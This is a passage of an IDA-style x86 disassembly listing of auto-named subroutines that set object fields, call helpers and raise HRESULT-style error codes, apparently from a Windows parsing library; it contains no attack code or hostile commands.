		push	esi
		call	sub_69B17320
		pop	esi
		retn	4
sub_69B5AF7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AF99	proc near		; CODE XREF: sub_69B5B040+1Bp
					; sub_69B8CB17+29p ...
		push	esi
		mov	esi, ecx
		call	sub_69B8F220
		push	eax
		add	esi, 2Ch
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		pop	esi
		retn
sub_69B5AF99	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AFAF	proc near		; CODE XREF: sub_69B5C7EA+1Fp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B5AFAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AFC3	proc near		; CODE XREF: sub_69B5C7EA+17p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B5AFC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5AFE0	proc near		; CODE XREF: sub_69B5CB6E+77p
					; sub_69B5CC64+32p
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+7Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [esi+3Ch]
		mov	[esi+34h], bl
		mov	[esi+35h], bl
		mov	byte ptr [eax+2Ch], 1
		mov	eax, [esi+3Ch]
		pop	esi
		mov	byte ptr [eax+2Fh], 1
		pop	ebx
		retn
sub_69B5AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B01B	proc near		; CODE XREF: sub_69B5BD8C+23p
		mov	edx, ecx
		lea	ecx, [edx+8]
		mov	eax, [ecx+8]
		test	eax, eax
		jz	short loc_69B5B039
		dec	eax
		imul	eax, [ecx]
		add	eax, [ecx+4]
		jz	short loc_69B5B039
		mov	eax, [eax]
		mov	[edx], eax
		jmp	sub_69B31F0D
; ---------------------------------------------------------------------------


loc_69B5B039:				; CODE XREF: sub_69B5B01B+Aj
					; sub_69B5B01B+13j
		mov	dword ptr [edx], offset	dword_69B96178
		retn
sub_69B5B01B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B040	proc near		; DATA XREF: sub_69B119AE+59o

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		mov	esi, ecx
		call	sub_69B8CBBB
		push	eax
		lea	edi, [esi+58h]
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		call	sub_69B5AF99
		mov	eax, [edi]
		mov	ecx, [eax+2Ch]
		call	sub_69B8F567
		mov	eax, [edi]
		mov	eax, [eax+2Ch]
		mov	[eax+28h], bl
		mov	eax, [edi]
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+8], 1
		cmp	[esi+48h], bl
		jnz	short loc_69B5B089
		mov	eax, [edi]
		mov	ecx, [esp+0Ch+arg_0]
		mov	[eax+14h], ecx


loc_69B5B089:				; CODE XREF: sub_69B5B040+3Ej
		mov	[esi+5Ch], bl
		mov	[esi+5Dh], bl
		mov	[esi+5Eh], bl
		mov	[esi+5Fh], bl
		mov	[esi+60h], bl
		mov	[esi+61h], bl
		mov	[esi+62h], bl
		mov	[esi+63h], bl
		mov	[esi+64h], bl
		mov	[esi+65h], bl
		mov	[esi+67h], bl
		call	sub_69B315A6
		push	eax
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17320
		or	dword ptr [esi+70h], 0FFFFFFFFh
		or	dword ptr [esi+74h], 0FFFFFFFFh
		pop	edi
		mov	[esi+9Dh], bl
		mov	[esi+0A0h], bl
		mov	[esi+0A8h], bl
		pop	esi
		pop	ebx
		retn	4
sub_69B5B040	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B0D9	proc near		; CODE XREF: sub_69B5B337+24p
					; DATA XREF: sub_69B119AE+ADo

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	ebx
		mov	esi, ecx
		call	sub_69B8CDB7
		push	eax
		lea	edi, [esi+7Ch]
		push	edi
		call	sub_69B17320
		cmp	[esi+48h], bl
		jnz	short loc_69B5B0FF
		mov	eax, [edi]
		mov	ecx, [esp+0Ch+arg_0]
		mov	[eax+14h], ecx


loc_69B5B0FF:				; CODE XREF: sub_69B5B0D9+1Bj
		push	ebx
		lea	eax, [esi+84h]
		push	eax
		mov	[esi+80h], bl
		mov	[esi+81h], bl
		call	sub_69B17320
		xor	eax, eax
		inc	eax
		cmp	[esi+10h], eax
		mov	[esi+90h], eax
		setz	al
		or	dword ptr [esi+94h], 0FFFFFFFFh
		or	dword ptr [esi+98h], 0FFFFFFFFh
		pop	edi
		mov	[esi+82h], bl
		mov	[esi+88h], bl
		mov	[esi+8Ch], ebx
		mov	[esi+9Ch], bl
		mov	[esi+9Dh], bl
		mov	[esi+0A0h], bl
		mov	[esi+0A8h], bl
		mov	[esi+9Fh], al
		pop	esi
		pop	ebx
		retn	4
sub_69B5B0D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B16B	proc near		; CODE XREF: sub_69B5C715+8Fp
					; DATA XREF: sub_69B117C2+8o

arg_4		= dword	ptr  8

		mov	eax, [ecx+0C4h]
		push	[esp+arg_4]
		add	eax, 4
		push	eax
		call	sub_69B17320
		retn	8
sub_69B5B16B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B181	proc near		; DATA XREF: sub_69B117C2+42o

arg_4		= dword	ptr  8

		mov	eax, [ecx+0C4h]
		push	[esp+arg_4]
		add	eax, 8
		push	eax
		call	sub_69B17320
		retn	8
sub_69B5B181	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B197	proc near		; DATA XREF: sub_69B11555+8o

arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		mov	ecx, [ebx+8]
		mov	eax, [esi+3Ch]
		mov	byte ptr [esi+5Ch], 1
		mov	eax, [eax+48h]
		test	eax, eax
		jz	short loc_69B5B1D5
		push	ecx
		mov	ecx, eax
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B5B1D5
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE01Bh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B5B1D5:				; CODE XREF: sub_69B5B197+17j
					; sub_69B5B197+23j
		push	edi
		mov	edi, [esi+58h]
		push	ebx
		mov	ecx, edi
		call	sub_69B8C7A5
		mov	ecx, [esi+3Ch]
		push	0
		push	edi
		call	sub_69B8B4EF
		mov	ecx, [edi+10h]
		test	ecx, ecx
		pop	edi
		jz	short loc_69B5B1FD
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+0F0h]


loc_69B5B1FD:				; CODE XREF: sub_69B5B197+5Bj
		pop	esi
		pop	ebx
		retn	8
sub_69B5B197	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B202	proc near		; CODE XREF: sub_69B5CA0B+6Ap
					; DATA XREF: sub_69B11555+42o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [eax+8]
		push	edi
		mov	edi, ecx
		mov	byte ptr [edi+5Eh], 1
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 7
		mov	ebx, eax
		jg	short loc_69B5B229
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B229:				; CODE XREF: sub_69B5B202+1Bj
		cmp	esi, [ebx+28h]
		jnz	short loc_69B5B23A
		mov	eax, [edi+58h]
		mov	eax, [eax+2Ch]
		mov	byte ptr [eax+8], 0
		jmp	short loc_69B5B25D
; ---------------------------------------------------------------------------


loc_69B5B23A:				; CODE XREF: sub_69B5B202+2Aj
		cmp	dword ptr [eax+8], 6
		mov	edi, eax
		jg	short loc_69B5B247
		call	sub_69B2E6D8


loc_69B5B247:				; CODE XREF: sub_69B5B202+3Ej
		cmp	esi, [edi+24h]
		jz	short loc_69B5B25D
		mov	eax, 0C00CE109h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B25D:				; CODE XREF: sub_69B5B202+36j
					; sub_69B5B202+48j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B263	proc near		; CODE XREF: sub_69B5B337+53p
					; DATA XREF: sub_69B1165C+8o

arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	ebx, [edi+8]
		mov	esi, ecx
		push	edi
		lea	eax, [esi+84h]
		push	eax
		mov	byte ptr [esi+80h], 1
		call	sub_69B17320
		mov	ecx, [esi+7Ch]
		push	ebx
		call	sub_69B5AF7A
		cmp	dword ptr [esi+58h], 0
		jz	short loc_69B5B2AD
		mov	ecx, [esi+78h]
		push	ebx
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B5B2E2
		push	dword ptr [esi+7Ch]
		mov	ecx, [esi+78h]
		push	ebx
		call	sub_69B3182D
		jmp	short loc_69B5B2F3
; ---------------------------------------------------------------------------


loc_69B5B2AD:				; CODE XREF: sub_69B5B263+2Dj
		mov	eax, [esi+54h]
		mov	ecx, [esi+40h]
		push	eax
		push	eax
		push	edi
		call	sub_69B5AEAA
		mov	edi, [eax+8]
		mov	ecx, [esi+7Ch]
		push	edi
		call	sub_69B5AF7A
		mov	ecx, [esi+3Ch]
		push	edi
		call	sub_69B8B114
		test	eax, eax
		jnz	short loc_69B5B2E2
		push	dword ptr [esi+7Ch]
		mov	ecx, [esi+3Ch]
		push	edi
		call	sub_69B8B7D4
		jmp	short loc_69B5B2F3
; ---------------------------------------------------------------------------


loc_69B5B2E2:				; CODE XREF: sub_69B5B263+3Aj
					; sub_69B5B263+6Fj
		mov	eax, 0C00CE10Eh
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B2F3:				; CODE XREF: sub_69B5B263+48j
					; sub_69B5B263+7Dj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5B263	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B2F9	proc near		; CODE XREF: sub_69B5B337+9Dp
					; DATA XREF: sub_69B1165C+7Ao

arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		mov	eax, [esi+7Ch]
		test	eax, eax
		mov	byte ptr [esi+82h], 1
		mov	byte ptr [esi+88h], 1
		jz	short loc_69B5B320
		add	eax, 2Ch
		push	eax
		call	sub_69B17320
		jmp	short loc_69B5B333
; ---------------------------------------------------------------------------


loc_69B5B320:				; CODE XREF: sub_69B5B2F9+1Aj
		lea	eax, [esi+0A4h]
		push	eax
		call	sub_69B17320
		mov	byte ptr [esi+0A0h], 1


loc_69B5B333:				; CODE XREF: sub_69B5B2F9+25j
		pop	esi
		retn	8
sub_69B5B2F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B337	proc near		; DATA XREF: sub_69B11555+5Eo
					; sub_69B118B8+8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+5Dh], bl
		push	edi
		jz	short loc_69B5B358
		cmp	[esi+64h], bl
		jnz	short loc_69B5B358
		mov	eax, 0C00CE106h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B358:				; CODE XREF: sub_69B5B337+Aj
					; sub_69B5B337+Fj
		push	ebx
		mov	ecx, esi
		call	sub_69B5B0D9
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Fh
		mov	edi, eax
		jg	short loc_69B5B372
		call	sub_69B2E6D8


loc_69B5B372:				; CODE XREF: sub_69B5B337+34j
		mov	eax, [edi+88h]
		mov	ecx, [esi+40h]
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		push	eax
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	sub_69B5B263
		mov	eax, [esi+7Ch]
		mov	edi, [esp+0Ch+arg_4]
		mov	byte ptr [esi+81h], 1
		mov	dword ptr [eax+18h], 1
		mov	eax, [esi+7Ch]
		mov	byte ptr [eax+31h], 1
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2EF67
		test	al, al
		jz	short loc_69B5B3CD
		mov	eax, 0C00CE124h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B3CD:				; CODE XREF: sub_69B5B337+84j
		push	edi
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	sub_69B5B2F9
		pop	edi
		mov	byte ptr [esi+65h], 1
		pop	esi
		pop	ebx
		retn	8
sub_69B5B337	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B3E3	proc near		; DATA XREF: sub_69B11555+96o

arg_4		= dword	ptr  8

		mov	eax, [ecx+58h]
		push	[esp+arg_4]
		add	eax, 20h
		push	eax
		mov	byte ptr [ecx+67h], 1
		call	sub_69B17320
		retn	8
sub_69B5B3E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B3FA	proc near		; DATA XREF: sub_69B1165C+26o
					; sub_69B11933+8o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+2Ch]
		mov	ecx, eax
		call	sub_69B2F43C
		mov	edi, eax
		push	edi
		mov	ecx, esi
		call	sub_69B5AE63
		cmp	eax, 27h
		jge	short loc_69B5B42F
		mov	ecx, [esi+7Ch]
		mov	byte ptr [esi+9Dh], 1
		mov	[ecx+18h], eax
		jmp	short loc_69B5B45F
; ---------------------------------------------------------------------------


loc_69B5B42F:				; CODE XREF: sub_69B5B3FA+24j
		cmp	byte ptr [esi+36h], 0
		jnz	short loc_69B5B44A
		mov	ecx, [esi+7Ch]
		mov	[ecx+18h], eax
		mov	eax, [esi+7Ch]
		push	edi
		add	eax, 1Ch
		push	eax
		call	sub_69B17320
		jmp	short loc_69B5B45F
; ---------------------------------------------------------------------------


loc_69B5B44A:				; CODE XREF: sub_69B5B3FA+39j
		push	0
		push	edi
		push	0C00CE21Ch
		push	0C00CE112h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B5B45F:				; CODE XREF: sub_69B5B3FA+33j
					; sub_69B5B3FA+4Ej
		pop	edi
		pop	esi
		retn	8
sub_69B5B3FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B464	proc near		; DATA XREF: sub_69B1165C+42o

arg_4		= dword	ptr  8

		mov	eax, [ecx+7Ch]
		push	[esp+arg_4]
		add	eax, 20h
		push	eax
		mov	byte ptr [ecx+9Ch], 1
		call	sub_69B17320
		retn	8
sub_69B5B464	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B47E	proc near		; DATA XREF: sub_69B11747+8o

arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Ch]
		mov	eax, [eax+48h]
		test	eax, eax
		push	edi
		mov	edi, [ebx+8]
		jz	short loc_69B5B4A0
		push	edi
		mov	ecx, eax
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B5B4A9


loc_69B5B4A0:				; CODE XREF: sub_69B5B47E+14j
		mov	ecx, [esi+3Ch]
		push	ebx
		call	sub_69B8B707


loc_69B5B4A9:				; CODE XREF: sub_69B5B47E+20j
		cmp	byte ptr [esi+63h], 0
		mov	byte ptr [esi+66h], 1
		jz	short loc_69B5B4BC
		mov	ecx, esi
		call	sub_69B5AE06
		jmp	short loc_69B5B4C0
; ---------------------------------------------------------------------------


loc_69B5B4BC:				; CODE XREF: sub_69B5B47E+33j
		mov	byte ptr [esi+63h], 1


loc_69B5B4C0:				; CODE XREF: sub_69B5B47E+3Cj
		mov	eax, [esi+58h]
		mov	ecx, [eax+2Ch]
		push	edi
		call	sub_69B8FF0A
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B5B47E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B4D2	proc near		; CODE XREF: sub_69B5BEA5+Cp
					; sub_69B5BECF+7p ...

arg_0		= dword	ptr  4

		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 0Fh
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, eax
		jg	short loc_69B5B4EE
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B4EE:				; CODE XREF: sub_69B5B4D2+10j
		mov	esi, [esp+0Ch+arg_0]
		cmp	esi, [edi+48h]
		jnz	short loc_69B5B500
		and	dword ptr [ebx+0BCh], 0
		jmp	short loc_69B5B552
; ---------------------------------------------------------------------------


loc_69B5B500:				; CODE XREF: sub_69B5B4D2+23j
		cmp	dword ptr [eax+8], 10h
		mov	edi, eax
		jg	short loc_69B5B512
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B512:				; CODE XREF: sub_69B5B4D2+34j
		cmp	esi, [edi+4Ch]
		jnz	short loc_69B5B523
		mov	dword ptr [ebx+0BCh], 1
		jmp	short loc_69B5B552
; ---------------------------------------------------------------------------


loc_69B5B523:				; CODE XREF: sub_69B5B4D2+43j
		cmp	dword ptr [eax+8], 11h
		mov	edi, eax
		jg	short loc_69B5B530
		call	sub_69B2E6D8


loc_69B5B530:				; CODE XREF: sub_69B5B4D2+57j
		cmp	esi, [edi+50h]
		jnz	short loc_69B5B541
		mov	dword ptr [ebx+0BCh], 2
		jmp	short loc_69B5B552
; ---------------------------------------------------------------------------


loc_69B5B541:				; CODE XREF: sub_69B5B4D2+61j
		mov	eax, 0C00CE105h
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B552:				; CODE XREF: sub_69B5B4D2+2Cj
					; sub_69B5B4D2+4Fj ...
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B5B4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5B558	proc near		; CODE XREF: sub_69B5BDC8+85p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		mov	esi, ecx
		mov	[ebp+var_1], bl
		jz	short loc_69B5B575
		mov	eax, [esi+3Ch]
		mov	eax, [eax+38h]
		mov	[ebp+var_C], eax


loc_69B5B575:				; CODE XREF: sub_69B5B558+12j
		mov	eax, [ebp+arg_C]
		cmp	[eax+10h], ebx
		push	edi
		jnz	short loc_69B5B5EC
		mov	edi, [eax+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B5B5A6
		mov	eax, dword_69B95AB8
		cmp	[eax+8], ebx
		mov	edi, eax
		jg	short loc_69B5B596
		call	sub_69B2E6D8


loc_69B5B596:				; CODE XREF: sub_69B5B558+37j
		mov	eax, [edi+0Ch]
		mov	ecx, [esi+40h]
		push	ebx
		push	ebx
		push	eax
		call	sub_69B3DA18
		mov	edi, eax


loc_69B5B5A6:				; CODE XREF: sub_69B5B558+2Bj
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B5B5C5
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	1
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_69B8D750
		jmp	short loc_69B5B5DB
; ---------------------------------------------------------------------------


loc_69B5B5C5:				; CODE XREF: sub_69B5B558+51j
		mov	ecx, [esi+50h]
		call	sub_69B3D200
		push	eax
		push	dword ptr [esi+50h]
		push	edi
		push	ebx
		call	sub_69B1BE7F
		mov	[ebp+var_10], eax


loc_69B5B5DB:				; CODE XREF: sub_69B5B558+6Bj
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx]
		push	1
		push	[ebp+var_10]
		call	dword ptr [eax+38h]
		mov	[ebp+var_1], 1


loc_69B5B5EC:				; CODE XREF: sub_69B5B558+24j
		mov	edi, [ebp+arg_10]
		mov	eax, [edi]
		push	1
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+38h]
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B5B620
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	1
		push	2
		push	dword ptr [eax+10h]
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_69B8D750
		jmp	short loc_69B5B648
; ---------------------------------------------------------------------------


loc_69B5B620:				; CODE XREF: sub_69B5B558+A4j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+10h]
		mov	ecx, [esi+50h]
		mov	[ebp+arg_C], eax
		call	sub_69B3D200
		push	eax
		push	dword ptr [esi+50h]
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0Fh
		call	sub_69B49219
		mov	[ebp+var_8], eax


loc_69B5B648:				; CODE XREF: sub_69B5B558+C6j
		mov	eax, [edi]
		push	1
		push	[ebp+var_8]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		mov	ecx, edi
		call	sub_69B5AC1C
		mov	eax, [ebp+var_8]
		or	byte ptr [eax+9], 20h
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B5B697
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	ebx
		push	0Dh
		push	[ebp+var_8]
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_69B8D750
		push	ebx
		push	ebx
		push	2
		push	[ebp+var_8]
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_69B8D7E7
		jmp	short loc_69B5B6C2
; ---------------------------------------------------------------------------


loc_69B5B697:				; CODE XREF: sub_69B5B558+10Dj
		mov	ecx, [esi+50h]
		call	sub_69B3D200
		push	eax
		push	dword ptr [esi+50h]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_8]
		push	ebx
		push	1
		call	sub_69B49219
		mov	ecx, [ebp+var_8]
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	sub_69B4B0C7


loc_69B5B6C2:				; CODE XREF: sub_69B5B558+13Dj
		cmp	[ebp+var_1], bl
		jz	short loc_69B5B6ED
		cmp	[ebp+arg_0], ebx
		push	ebx
		jz	short loc_69B5B6E1
		push	1
		push	1
		push	[ebp+var_10]
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_69B8D7E7
		jmp	short loc_69B5B6ED
; ---------------------------------------------------------------------------


loc_69B5B6E1:				; CODE XREF: sub_69B5B558+173j
		mov	ecx, [ebp+var_10]
		push	ebx
		push	1
		push	ebx
		call	sub_69B4B0C7


loc_69B5B6ED:				; CODE XREF: sub_69B5B558+16Dj
					; sub_69B5B558+187j
		push	ebx
		lea	eax, [edi+2Ch]
		push	eax
		call	sub_69B17320
		push	1
		push	edi
		push	dword ptr [esi+4Ch]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_69B4E634
		mov	ecx, edi
		call	sub_69B8C6AD
		cmp	eax, 2
		pop	edi
		jnz	short loc_69B5B725
		mov	eax, 0C00CE023h
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5B725:				; CODE XREF: sub_69B5B558+1BBj
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_69B5B558	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B72B	proc near		; CODE XREF: sub_69B5C12E+64p
		push	edi
		lea	edi, [ecx+1Ch]
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_69B5B77D
		push	esi
		lea	esi, [eax-1]
		imul	esi, [edi]
		add	esi, [edi+4]
		jz	short loc_69B5B77C
		lea	eax, [ecx+0ACh]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	ecx, [ecx+10h]
		push	ebx
		mov	[eax+10h], ecx
		mov	ebx, [esi]
		test	ebx, ebx
		jz	short loc_69B5B76F
		push	ebx
		call	sub_69B17230
		push	ebx
		call	sub_69B1B2B7


loc_69B5B76F:				; CODE XREF: sub_69B5B72B+36j
		and	dword ptr [esi], 0
		pop	ebx
		pop	esi
		mov	ecx, edi
		pop	edi
		jmp	sub_69B31F0D
; ---------------------------------------------------------------------------


loc_69B5B77C:				; CODE XREF: sub_69B5B72B+15j
		pop	esi


loc_69B5B77D:				; CODE XREF: sub_69B5B72B+9j
		pop	edi
		retn
sub_69B5B72B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B77F	proc near		; CODE XREF: sub_69B5BCA9+6Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B5B797
		cmp	eax, dword_69B95A3C
		jz	short loc_69B5B797
		mov	al, 1
		jmp	short loc_69B5B7D3
; ---------------------------------------------------------------------------


loc_69B5B797:				; CODE XREF: sub_69B5B77F+Aj
					; sub_69B5B77F+12j
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 27h
		push	edi
		mov	edi, eax
		jg	short loc_69B5B7AF
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B7AF:				; CODE XREF: sub_69B5B77F+24j
		cmp	[edi+0A8h], esi
		jz	short loc_69B5B7D0
		cmp	dword ptr [eax+8], 28h
		mov	edi, eax
		jg	short loc_69B5B7C4
		call	sub_69B2E6D8


loc_69B5B7C4:				; CODE XREF: sub_69B5B77F+3Ej
		cmp	[edi+0ACh], esi
		jz	short loc_69B5B7D0
		xor	al, al
		jmp	short loc_69B5B7D2
; ---------------------------------------------------------------------------


loc_69B5B7D0:				; CODE XREF: sub_69B5B77F+36j
					; sub_69B5B77F+4Bj
		mov	al, 1


loc_69B5B7D2:				; CODE XREF: sub_69B5B77F+4Fj
		pop	edi


loc_69B5B7D3:				; CODE XREF: sub_69B5B77F+16j
		pop	esi
		retn	4
sub_69B5B77F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B7D7	proc near		; CODE XREF: sub_69B5C83A+F6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+10h]
		test	eax, eax
		push	edi
		jz	short loc_69B5B7F6
		cmp	eax, dword_69B95A3C
		jz	short loc_69B5B7F6
		cmp	eax, dword_69B95A54
		jz	short loc_69B5B7FE
		jmp	short loc_69B5B86D
; ---------------------------------------------------------------------------


loc_69B5B7F6:				; CODE XREF: sub_69B5B7D7+Bj
					; sub_69B5B7D7+13j
		cmp	dword_69B95A54,	eax
		jnz	short loc_69B5B871


loc_69B5B7FE:				; CODE XREF: sub_69B5B7D7+1Bj
		mov	eax, [ecx]
		cmp	dword ptr [eax], 26h
		jnz	short loc_69B5B871
		mov	eax, dword_69B95AB8
		cmp	dword ptr [eax+8], 2Eh
		mov	edi, eax
		jg	short loc_69B5B81C
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B81C:				; CODE XREF: sub_69B5B7D7+39j
		cmp	[edi+0C4h], esi
		jz	short loc_69B5B86D
		cmp	dword ptr [eax+8], 2Fh
		mov	edi, eax
		jg	short loc_69B5B836
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B836:				; CODE XREF: sub_69B5B7D7+53j
		cmp	[edi+0C8h], esi
		jz	short loc_69B5B86D
		cmp	dword ptr [eax+8], 31h
		mov	edi, eax
		jg	short loc_69B5B850
		call	sub_69B2E6D8
		mov	eax, dword_69B95AB8


loc_69B5B850:				; CODE XREF: sub_69B5B7D7+6Dj
		cmp	[edi+0D0h], esi
		jz	short loc_69B5B86D
		cmp	dword ptr [eax+8], 30h
		mov	edi, eax
		jg	short loc_69B5B865
		call	sub_69B2E6D8


loc_69B5B865:				; CODE XREF: sub_69B5B7D7+87j
		cmp	[edi+0CCh], esi
		jnz	short loc_69B5B871


loc_69B5B86D:				; CODE XREF: sub_69B5B7D7+1Dj
					; sub_69B5B7D7+4Bj ...
		mov	al, 1
		jmp	short loc_69B5B873
; ---------------------------------------------------------------------------


loc_69B5B871:				; CODE XREF: sub_69B5B7D7+25j
					; sub_69B5B7D7+2Cj ...
		xor	al, al


loc_69B5B873:				; CODE XREF: sub_69B5B7D7+98j
		pop	edi
		pop	esi
		retn	4
sub_69B5B7D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5B878	proc near		; CODE XREF: sub_69B5BCA9+4Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		cmp	dword ptr [eax+8], 0
		push	edi
		jz	short loc_69B5B8B5
		mov	eax, [eax+8]
		xor	edi, edi
		cmp	[eax], edi
